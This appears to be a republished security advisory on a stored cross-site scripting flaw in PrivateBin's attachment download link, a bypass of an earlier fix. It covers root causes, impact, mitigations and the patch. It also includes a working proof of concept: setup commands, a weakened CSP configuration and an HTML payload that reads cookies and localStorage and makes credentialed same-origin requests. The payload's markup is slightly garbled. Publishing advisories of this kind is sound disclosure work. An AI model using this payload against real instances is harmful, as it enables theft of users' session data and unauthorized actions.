Listen to this Post
The vulnerability exists in PrivateBin’s attachment download link, allowing stored cross-site scripting. An anonymous attacker can create a paste containing a text/html attachment. With user interaction (opening the “Download attachment” link in a new tab), the attacker’s inline JavaScript executes in the PrivateBin instance’s origin with full same-origin capabilities, including cookie/localStorage access and same-origin fetch. This issue represents an incomplete fix for CVE-2022-24833. The original patch only sanitized the inline preview blob for SVG attachments, but never addressed the download link’s blob. Therefore, a text/html or image/svg attachment completely bypasses sanitization, re-enabling the attack class on instances lacking the recommended Content-Security-Policy. The default recommended CSP protects instances by blocking inline scripts in blobs via script-src ‘self’. However, instances with weakened, stripped, or absent CSP are vulnerable, precisely the defense-in-depth scenario the prior CVE fix intended to cover. Exploitation requires fileupload = true (non-default) and a non-recommended CSP configuration. The root cause lies in js/privatebin.js function AttachmentViewer.setAttachment (line 2982). Since PrivateBin uses zero-knowledge encryption, the decrypted message, including attachment content and MIME type, is attacker-controlled and server-inspectable. Root cause 1: MIME-gated sanitization at line 3017 only triggers DOMPurify for /^image/.svg/i, allowing text/html to bypass. Root cause 2: the download link’s href at line 3002 is set to the unsanitized blob before the SVG branch; the branch’s sanitized blob is only used for preview, never updating the download link. Root cause 3: MIME type is fully attacker-controlled via getAttachmentMimeType (lines 3211-3217), reading from the decrypted data URI. The attack flow: Attacker creates a paste with a .html file, encrypting it as data:text/html;base64. Victim opens the paste, decryptPaste calls setAttachment, creating a same-origin blob with text/html. The download link points to this unsanitized blob. Victim opens the link in a new tab, executing the attacker’s inline JavaScript in the instance’s origin. The 2022 advisory’s safety argument fails because the download link is never sanitized, and opening in a new tab navigates to a same-origin blob: URL, not a file:// protocol download. The proof of concept involves setting up a vulnerable instance with file upload enabled and a weakened CSP, creating an HTML payload with inline JavaScript that executes XSS, and observing full origin access. The default CSP blocks this via inline script violation. Impacted are self-hosted instances with file upload enabled and a weakened CSP. Attackers can execute arbitrary JavaScript, read localStorage, and issue authenticated same-origin requests. They cannot exploit instances with default CSP or without file upload, and need victim interaction. The patch fixes this by overwriting unsafe MIME types to application/octet-stream for the download link, forcing downloads and preventing rendering.
DailyCVE Form:
Platform: PrivateBin
Version: 2.0.4+
Vulnerability: Stored XSS
Severity: Medium
date: 2026-06-14
Prediction: 2026-06-20
What Undercode Say:
Analytics:
bash commands from PoC:
git clone https://github.com/PrivateBin/PrivateBin.git cd PrivateBin git checkout 597a6f0d mkdir -p data php -S 127.0.0.1:8099
Vulnerable config snippet (cfg/conf.php):
[bash] fileupload = true cspheader = "default-src 'unsafe-inline' 'unsafe-eval' data: blob:; img-src data: blob:; media-src blob:; object-src blob:" httpwarning = false
Payload (xss-attachment.html):
<!DOCTYPE html>
<html>
<head><>benign</></head>
<body>
<h1>just a harmless document</h1>
<script>
document. = 'XSS:' + document.domain;
document.body.style.background = 'c00';
document.body.style.color = 'fff';
document.body.innerHTML = '<h1>XSS EXECUTED<br>origin = ' + location.origin +
'<br>protocol = ' + location.protocol +
'<br>cookies = ' + JSON.stringify(document.cookie) +
'<br>localStorage = ' + JSON.stringify(localStorage) + '</h1>';
fetch(location.origin + '/?jsonld=paste', { credentials: 'include' })
.then(r => r.text())
.then(t => document.body.innerHTML += '<pre>same-origin fetch returned ' + t.length + ' bytes</pre>');
</script>
</body>
</html>
Steps to trigger:
- Browse to http://127.0.0.1:8099/
- Create paste with any text and attach xss-attachment.html
3. Click Create, copy paste URL
- Open paste URL, right-click “Download attachment” and select Open in new tab
- Observe XSS execution with red background and origin data
Exploit: (Educational Purposes!)
- Attacker creates a paste with a text/html attachment.
- Victim opens the paste and then opens the download link in a new tab.
- The blob URL executes the attacker’s JavaScript in the same origin.
- This allows reading localStorage and performing same-origin fetch requests.
Protection:
- Enforce the recommended CSP: default-src ‘none’; script-src ‘self’ ‘wasm-unsafe-eval’; etc.
- Disable file uploads (fileupload = false).
- Apply the patch that overwrites unsafe MIME types to application/octet-stream for download links.
Impact:
- Stored XSS allows arbitrary JavaScript execution in the victim’s browser.
- Full same-origin access: localStorage, cookies, and same-origin fetch.
- Risk is high for instances co-hosted with other applications on the same domain.
- Default CSP and disabled file uploads mitigate the issue.
Credits & References:
- Reported by Rizky Muhammad, @EvidentObscurity.
- Timeline: 2026-06-11 report received, 2026-06-13 reproduced and patch developed, 2026-06-14 patch reviewed, 2026-06-1X patch merged and release published.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

